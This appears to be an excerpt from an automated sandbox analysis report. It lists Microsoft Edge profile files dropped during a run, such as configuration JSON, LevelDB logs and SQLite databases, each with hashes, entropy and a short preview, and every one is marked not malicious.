SSDEEP:	3:ollDl9tFlljq7A/mhWJFuQ3yy7IOWUErnotdweytllrE9SFcTp4AGbNCV9RUITn:4K75fO2Etd0Xi99pEYt
MD5:	BA46946E59CA5DF31E51B68C20972794
SHA1:	7DE736D20C6AA980B4C2C4527E862CDFA488F4F7
SHA-256:	D0E303E690B62DC6834B92CB5053D8C62DCFE997FA41E3379B7456EC3C1E7783
SHA-512:	BE2A615C41FA18CD38327AF41F925B6925B0D494FF0E1A87004E4FE56BD94904218C861F56376416DDD3169BEB6EEB95B0EB56A830F8F19FA70217FCDF8A447A
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480712817282157
Encrypted:	false
SSDEEP:	384:aj9P0CQkQerkjlB773pLQP/KbtIgam6I0hlcERKToaAu:adVe2mlB7KP/SEAERKcC
MD5:	47EF51CCD01C19B7FC9215EDBEA054BA
SHA1:	DA33CD86E408B5EA7149973E5AA9403F4B5739F6
SHA-256:	F79314C88317120B0927B5DD4F8AB469C8E02EF8D191CB2892EE36EC5C04856C
SHA-512:	FB516AD8504B0A1D84BE662005C867BBE5EEAA5B177B4DE1745FBA05B2BA723BC3C589913F7FD8CCFA63389CA7D3D4A6AF47C6192994DE2928C50D9160DFDB5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.277317674186977
Encrypted:	false
SSDEEP:	12:kQ+v4Yeb8rcHEZrELFUt8WGKW/+WQV5LYeb8rcHEZrEZSJ:k54Yeb8nZrExg8WGK+SLYeb8nZrEZe
MD5:	AD432599E4D6976FA8FF7C94E084CB34
SHA1:	2B391B1F190EAB7C6A208E944E8E4DB270C171AE
SHA-256:	2E7A55324F2DA5F7D6B4BFE8DAFC5BE58B8FA1B533796BE91FB37D41A0BBB554
SHA-512:	CB0125DD046436D86E8129998F2C86BF202AE6AAB71E113C5AC546FC11E565753BE3EC5BC9D1995EB2FCB2E909B8C3C24612B651CC2E2D86642F8C05AF36E590
Malicious:	false
Preview:	2024/10/29-15:35:15.447 15ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-15:35:15.448 15ec Recovering log #3.2024/10/29-15:35:15.448 15ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.277317674186977
Encrypted:	false
SSDEEP:	12:kQ+v4Yeb8rcHEZrELFUt8WGKW/+WQV5LYeb8rcHEZrEZSJ:k54Yeb8nZrExg8WGK+SLYeb8nZrEZe
MD5:	AD432599E4D6976FA8FF7C94E084CB34
SHA1:	2B391B1F190EAB7C6A208E944E8E4DB270C171AE
SHA-256:	2E7A55324F2DA5F7D6B4BFE8DAFC5BE58B8FA1B533796BE91FB37D41A0BBB554
SHA-512:	CB0125DD046436D86E8129998F2C86BF202AE6AAB71E113C5AC546FC11E565753BE3EC5BC9D1995EB2FCB2E909B8C3C24612B651CC2E2D86642F8C05AF36E590
Malicious:	false
Preview:	2024/10/29-15:35:15.447 15ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-15:35:15.448 15ec Recovering log #3.2024/10/29-15:35:15.448 15ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1655
Entropy (8bit):	5.683971544123598
Encrypted:	false
SSDEEP:	48:1Z36eXHDHyXZasV0374/wGU2OWL20fpHHHxda2LoEJ:1fXLAo1hGuyRxLn
MD5:	5D151BEF461053D660661ABF4D3D57BF
SHA1:	7BD2C1D6286EC29FCA905A6075EDBB5075689BD2
SHA-256:	074E824F766A32A790CB342CEAD2483A3BBB05C35037C5519206B5634FBAE69E
SHA-512:	6E0FA958F777E956DA0A4722AA7F0A50CB54053464B3CA531FD6B57F78E54A318E5081B07ECC3F983F60EEAE9366E8F305D2085AA91C879A87E4C462DCAD1D73
Malicious:	false
Preview:	MC.\.................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1730230520205.._https://ntp.msn.com..MUID!.09AD4FBAEAAE613425ED5A9DEBF960D9.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730230520297,"schedule":[-1,-1,40,-1,-1,4,9],"scheduleFixed":[-1,-1,40,-1,-1,4,9],"simpleSchedule":[52,25,35,43,16,24,39]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730230520149.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241028.307"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Tue Oct 29 2024 15:35:20 GMT-0400 (Eastern Daylight Time).!_https://ntp.msn.com..storageTest..2..................META:https://ntp.msn.com.............._https://ntp.msn.com..Fa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.180778852828228
Encrypted:	false
SSDEEP:	6:QFN+q2P923oH+Tcwt8a2jMGIFUt8EAWZmw+fmSNVkwO923oH+Tcwt8a2jMmLJ:QN+v4Yeb8EFUt8EAW/+fhV5LYeb8bJ
MD5:	3837A214458FD0B40F607AC8DEDF1276
SHA1:	37915A132771B6F983B6A3D7C4599412CDD439EE
SHA-256:	A31C8EC2473B13DED10C9F16DE554C6FB7335D739FFBAAB9D76BF853A4B475FB
SHA-512:	338AE489E822FFA670FF5501EFD69A01513256D91F6F5634B28A81775EDDC6E3FDE72E81A811CDF750BB323250F0459DFE4635448BB8CEAA80CEBE4A7AE549B0
Malicious:	false
Preview:	2024/10/29-15:35:09.978 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-15:35:09.980 1d5c Recovering log #3.2024/10/29-15:35:09.983 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.180778852828228
Encrypted:	false
SSDEEP:	6:QFN+q2P923oH+Tcwt8a2jMGIFUt8EAWZmw+fmSNVkwO923oH+Tcwt8a2jMmLJ:QN+v4Yeb8EFUt8EAW/+fhV5LYeb8bJ
MD5:	3837A214458FD0B40F607AC8DEDF1276
SHA1:	37915A132771B6F983B6A3D7C4599412CDD439EE
SHA-256:	A31C8EC2473B13DED10C9F16DE554C6FB7335D739FFBAAB9D76BF853A4B475FB
SHA-512:	338AE489E822FFA670FF5501EFD69A01513256D91F6F5634B28A81775EDDC6E3FDE72E81A811CDF750BB323250F0459DFE4635448BB8CEAA80CEBE4A7AE549B0
Malicious:	false
Preview:	2024/10/29-15:35:09.978 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-15:35:09.980 1d5c Recovering log #3.2024/10/29-15:35:09.983 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\074fc30f-8df7-461b-9c44-7a9a3035feaa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1c13fb3e-3d24-4316-81a3-4fe6fd8d6121.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	5.339141004365617
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsFRZVMdmRdsFbZFRudFGRw6ma3yeesw6maPsw6C1Vds0yZC52HwbxX:YcgCzsFXtsFVfc7leeBkBRsBCgHwbxo+
MD5:	B17DCE96C285DD6F60E7A544AE63397F
SHA1:	7B9F4BDEA22369623C3D976564820B09C622B5B4
SHA-256:	6E251A166126587229247EA4F868EA1396057DD7402B570F93B0900845F78248
SHA-512:	FC66B5E9CFEA4EA8F97665426EEC1C8125BD207D1FCA1B585E4AD5B514A1AFF6EB7258353060FFCBBA32DBB41AB23268F84AFF1D66053BE57676182A77553147
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377296112552450","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377296116678945","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2629d5d8-cd13-4550-8e95-b20ae04db19a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\541bfbb3-30eb-4387-b774-c54dafb359a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7e115c34-a7fc-400e-9ce4-4d30147e08d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.0020953285603826
Encrypted:	false
SSDEEP:	192:tTJM0DsYQeQ3ug+FOqYM4WGLg8hgmUYO0B/zbl0b:VJMQFtQeg+FOqzN8+ma0B7bl0b
MD5:	E47FE7CAA6C37AFC2EF37FB478473291
SHA1:	10BD65A79AFE0646C9EED1A202C04D317C2762E3
SHA-256:	BE6DC1918CB9C214B2A2B0802AFB0BA2EE88AC49D790FF2D381B985CEFEFC2C7
SHA-512:	6A5433FAC730B3F0DD4A64B112CEC57A0C278602504F75BDF322205BC8B172CF8FFAC9CF4127739E79B7F49E4787801A9BE5F3A79BE850BA18B3BB0382F5F4E1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF403e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4bd12.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4757566785694698
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBymV:OIEumQv8m1ccnvS6ydDow0WjES7cOJ0
MD5:	39976A445EB328CD6728E456FDBEAB81
SHA1:	1FB2682C8FA21AE914495BA7F55E3BF85A40E2E7
SHA-256:	1888FC35160A287CD94EDEB04C8E0E8BB40FD1E02F14D3BF1A6050D4E50F9238
SHA-512:	C1914B4986D64A3A4C404783B967A1C13A4036B677247B6B524B78805812B0419D015D96A6C4EFFE4CAFE6C70A0A353F40E65ED7470BB5866A5CFB9161937760
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3aff8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bcd9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a279d403-3a24-4c75-bef5-394b364e4daf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fabf4fc4-5a9f-49d5-b876-39f23146014f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
